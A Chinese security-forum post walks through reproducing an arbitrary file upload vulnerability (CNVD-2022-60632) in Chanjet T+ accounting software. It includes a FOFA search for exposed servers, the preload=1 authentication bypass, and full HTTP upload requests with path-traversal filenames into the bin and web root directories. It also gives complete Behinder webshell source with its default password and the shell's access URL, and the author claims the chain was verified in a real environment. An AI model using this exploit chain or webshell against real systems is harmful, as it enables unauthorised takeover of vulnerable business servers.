畅捷通T+任意文件上传(CNVD-2022-60632 )漏洞复现

zhang3   ·   发表于 2022-11-12 00:41:47   ·   漏洞文章

漏洞描述

2022年8月29日和8月30日,畅捷通公司紧急发布安全补丁修复了畅捷通T+软件任意文件上传漏洞。未经身份认证的攻击者利用该漏洞,通过绕过系统鉴权,在特定配置环境下实现任意文件的上传,从而执行任意代码,获得服务器控制权限。

用友 畅捷通T+ Upload.aspx接口存在任意文件上传漏洞,攻击者通过 preload 参数绕过身份验证进行文件上传,获取服务器权限。

CNVD对该漏洞的综合评级为“高危”。

fofa:

app="畅捷通-TPlus"

环境搭建

源码下载:
https://dad.chanapp.chanjet.com/TplusYZHJ17.0.zip
下载并解压,进行环境检察:


安装



安装过程中MSSQL 数据库可以不设置:



安装完成(这鬼玩意安装有点慢)
访问:
http://127.0.0.1/tplus/view/login.html

漏洞审计

跟着大佬的思路简单看看源码。
找到Upload.aspx文件:

可以看到该文件为编译的文件。
畅捷通整套程序用了预编译,到根目录的bin下找对应的compiled文件:

TPlusStd\WebSite\bin\upload.aspx.9475d17f.compiled:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <preserve resultType="3" virtualPath="/WebSite/SM/SetupAccount/Upload.aspx" hash="16f32931f" filehash="8aff27fcb5b4a92d" flags="110000" assembly="App_Web_upload.aspx.9475d17f" type="ASP.sm_setupaccount_upload_aspx">
  3. <filedeps>
  4. <filedep name="/WebSite/SM/SetupAccount/Upload.aspx" />
  5. <filedep name="/WebSite/SM/SetupAccount/Upload.aspx.cs" />
  6. </filedeps>
  7. </preserve>

搜索App_Web_upload.aspx.9475d17f.dll:

使用dnspy 反编译查看源码:
https://github.com/dnSpy/dnSpy/releases

  1. // CommonPage_SetupAccount_Upload
  2. // Token: 0x06000004 RID: 4 RVA: 0x000020AC File Offset: 0x000002AC
  3. protected void Page_Load(object sender, EventArgs e)
  4. {
  5. this.ReadResources();
  6. if (base.Request.Files.Count == 1)
  7. {
  8. string text = "images/index.gif";
  9. object obj = this.ViewState["fileName"];
  10. if (obj != null)
  11. {
  12. text = obj.ToString();
  13. }
  14. if (this.File1.PostedFile.ContentLength > 204800)
  15. {
  16. base.Response.Write(string.Concat(new string[]
  17. {
  18. "<script language='javascript'>alert('",
  19. this.PhotoTooLarge,
  20. "'); parent.document.getElementById('myimg').src='",
  21. text,
  22. "';</script>"
  23. }));
  24. return;
  25. }
  26. if (this.File1.PostedFile.ContentType != "image/jpeg" && this.File1.PostedFile.ContentType != "image/bmp" && this.File1.PostedFile.ContentType != "image/gif" && this.File1.PostedFile.ContentType != "image/pjpeg")
  27. {
  28. base.Response.Write(string.Concat(new string[]
  29. {
  30. "<script language='javascript'>alert('",
  31. this.PhotoTypeError,
  32. "'); parent.document.getElementById('myimg').src='",
  33. text,
  34. "';</script>"
  35. }));
  36. return;
  37. }
  38. string fileName = this.File1.PostedFile.FileName;
  39. string text2 = fileName.Substring(fileName.LastIndexOf('\\') + 1);
  40. this.File1.PostedFile.SaveAs(base.Server.MapPath(".") + "\\images\\" + text2);
  41. string text3 = base.Server.MapPath(".") + "\\images\\" + text2;
  42. this.ViewState["fileName"] = "images/" + text2;
  43. TPContext.Current.Session["ImageName"] = text3;
  44. }
  45. }

代码大概的意思为上传的文件不大于2M ,然后判断Content-Type 是否为jpeg、bmp、gif、pjpeg其中一个类型,如果是写入到images 目录中,否则会触发弹窗。可以看到文件名没有任何限制。

根据网上的文件上传poc测试:

  1. POST /tplus/SM/SetupAccount/Upload.aspx HTTP/1.1
  2. Host: 192.168.84.200
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
  11. Content-Length: 197
  12. ------WebKitFormBoundarywwk2ReqGTj7lNYlt
  13. Content-Disposition: form-data; name="File1";filename="zhang3.aspx"
  14. Content-Type: image/jpeg
  15. hello zhang3
  16. ------WebKitFormBoundarywwk2ReqGTj7lNYlt--


发现需要登陆。看看有没有需要鉴权的地方。找一下它的引用文件:
把App_global.asax.dll导入到dnspy 中


没有发现鉴权的函数之类的东西。
从引用中发现用了App_Web_global.asax.cs.cdcab7d2。找到并把dll文件放进去发现用了一个 Application_PreRequestHandlerExecute 函数。

可以看到参数preload 为1 时不经过下方的session 验证。

构造上传poc尝试:

  1. POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
  2. Host: 192.168.84.200
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
  11. Content-Length: 197
  12. ------WebKitFormBoundarywwk2ReqGTj7lNYlt
  13. Content-Disposition: form-data; name="File1";filename="zhang3.aspx"
  14. Content-Type: image/jpeg
  15. hello zhang3
  16. ------WebKitFormBoundarywwk2ReqGTj7lNYlt--


可以看到返回结果不一样了。
查看靶机images文件中存在上传的文件:

访问: #找到路径
http://192.168.84.200/tplus/SM/SetupAccount/images/1.jpg


发现解析不了.aspx文件。
但是换成.txt格式可以看到内容,漏洞验证到这一步算是ok了,即可证明存在漏洞。

漏洞复现

getshell

采用预编译文件绕过,进行getshell。
使用冰蝎马:

  1. <%@ Page Language="C#" %><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); /*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

然后CMD 执行:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe -v / -p C:\Users\XuanJian\Desktop\temp C:\Users\XuanJian\Desktop\payload -fixednames
-p 代表的是木马的目录。 C:\Users\XuanJian\Desktop\payload 表示生成在那个目录中。


生成下图文件:

dll 与 compiled 文件上传至 Web应用的 bin目录下:
上传过程中复现出了问题:

发现是靶机用户权限不高造成的。
解决方案:



等待系统配置权限即可。

上传payload:
shell.aspx.cdcab7d2.compiled

  1. POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
  2. Host: 192.168.84.200
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
  11. Content-Length: 507
  12. ------WebKitFormBoundarywwk2ReqGTj7lNYlt
  13. Content-Disposition: form-data; name="File1";filename="../../../bin/shell.aspx.cdcab7d2.compiled"
  14. Content-Type: image/jpeg
  15. {{payload}}
  16. ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

payload部分用编辑器打开比较好


App_Web_shell.aspx.cdcab7d2.dll

  1. POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
  2. Host: 192.168.84.200
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
  11. Content-Length: 195
  12. ------WebKitFormBoundarywwk2ReqGTj7lNYlt
  13. Content-Disposition: form-data; name="File1";filename="../../../bin/App_Web_shell.aspx.cdcab7d2.dll"
  14. Content-Type: image/jpeg
  15. {{payload}}
  16. ------WebKitFormBoundarywwk2ReqGTj7lNYlt--

这里的payload为预编译的文件,打开为乱码,复制粘贴也是处处出错,传到靶机下数据失真,整个文件损坏。
尝试了各种编码的问题,始终无法解决。后经过大佬指点,通过本地上传文件抓包,获取burp中的数据传在靶机下。
先抓取上传的原始数据,发给repeater: #这里用了封神台靶场

通过repeater重发一次,也就是截图中的7发给了13(尽量不要在原始包改动)
8是我们的poc:

用8里面的poc数据包修改13里面的数据包:

最终上传完成。
靶机查看:

原始文件:

5632字节,与我们的原始数据一致,稍有改变,getshell失败。
上传aspx文件,把它传在website根目录下: (有时候会有问题,多传几次。)

  1. POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
  2. Host: 192.168.84.200
  3. Upgrade-Insecure-Requests: 1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  6. Accept-Encoding: gzip, deflate
  7. Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  8. Cookie: ASP.NET_SessionId=gvigofzulthd2v1i2q5zndtf; Hm_lvt_fd4ca40261bc424e2d120b806d985a14=1662302093; Hm_lpvt_fd4ca40261bc424e2d120b806d985a14=1662302093
  9. Connection: close
  10. Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywwk2ReqGTj7lNYlt
  11. Content-Length: 513
  12. ------WebKitFormBoundarywwk2ReqGTj7lNYlt
  13. Content-Disposition: form-data; name="File1";filename="../../../shell.aspx"
  14. Content-Type: image/jpeg
  15. è¿™æ˜¯é¢„ç¼–è¯‘å·¥å…·ç”Ÿæˆçš„æ ‡è®°æ–‡ä»¶ï¼Œä¸åº”åˆ é™¤!
  16. ------WebKitFormBoundarywwk2ReqGTj7lNYlt--



靶机:

到此,传马完成。
冰蝎连接:
http://192.168.84.200/tplus/shell.aspx?preload=1 密码:rebeyond

复现完成。

在实战环境中做了验证,经得起考验。

参考文章

https://www.o2oxy.cn/4104.html

用户名金币积分时间理由
Track-劲夫 60.00 0 2022-11-19 21:09:32 一个受益终生的帖子~~

打赏我,让我更有动力~

0 条回复   |  直到 2022-11-12 | 1682 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.